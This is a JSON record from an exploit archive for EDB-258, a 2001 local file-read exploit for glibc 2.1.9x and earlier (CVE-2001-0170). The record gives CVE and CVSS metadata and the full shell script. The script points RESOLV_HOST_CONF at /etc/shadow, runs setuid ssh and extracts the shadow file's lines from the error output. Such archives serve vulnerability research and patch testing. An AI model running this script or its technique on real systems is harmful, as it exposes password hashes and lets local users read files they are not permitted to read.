{"exploit":{"id":"EDB-258","name":"glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read","description":"glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read","cves":["CVE-2001-0170"],"author":"krochos","published":"2001-01-25","platform":"linux","type":"local","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/258","path":"exploits/linux/local/258.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-258.sh","vulnerabilities":[{"id":"CVE-2001-0170","state":"PUBLISHED","title":null,"titleSource":null,"description":"glibc 2.1.9x and earlier does not properly clear the RESOLV_HOST_CONF, HOSTALIASES, or RES_OPTIONS environmental variables when executing setuid/setgid programs, which could allow local users to read arbitrary files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0170","cvss":{"version":"2.0","baseScore":2.1,"severity":"low","vectorString":"AV:L/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0170"},"updatedAt":"2024-08-08T04:14:06.578Z","retrievedAt":"2026-11-26T12:26:34.773Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-258.png?v=2","url":"https://exploitbin.com/exploits/EDB-258","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-258/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-258/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Charles Stevenson <csteven@newhope.terraplex.com>\n# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)\n# This exploits is for glibc >= 2.1.9x.\n# (****krochos@linuxmail.org****)\n# Edit this if you have a problem with path\n\nssh=/usr/bin/ssh\ntraceroute=/usr/sbin/traceroute\nFILE=/etc/shadow        # File to read\n###############################################################################\n\necho \"$ssh\"\necho \"[*] Checking permisions...\"\n\nif [ ! -u $ssh ]; then\n        echo \"$ssh is NOT setuid on this system or does not exist at all!\"\n        if [ ! -u $traceroute ]; then\n          echo \"$traceroute is NOT setuid on this system or does not exist at all!\"\n          exit 0\n        fi\nfi\n\nexport RESOLV_HOST_CONF=$FILE\n\necho \"[*] Glibc bug found by Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM>\"\necho \"[*] krochos@linuxmail.org\"\nsleep 1\necho \"[*] export  RESOLV_HOST_CONF=/etc/shadow\"\nssh lt 2>/tmp/.resolv\ncat /tmp/.resolv |  cut -d\"\\`\" -f5,2 | awk -F\"\\'\" '{print $1} '\n\n# milw0rm.com [2001-01-25]","sha256":"51796745ec5fe27075c59ae9a31cac462d25f054e54d8d2b99650ec25a37b887","bytes":1010,"fetchedAt":"2026-11-26T12:06:01.614Z","encoding":"utf-8 (display only; download retains original bytes)"}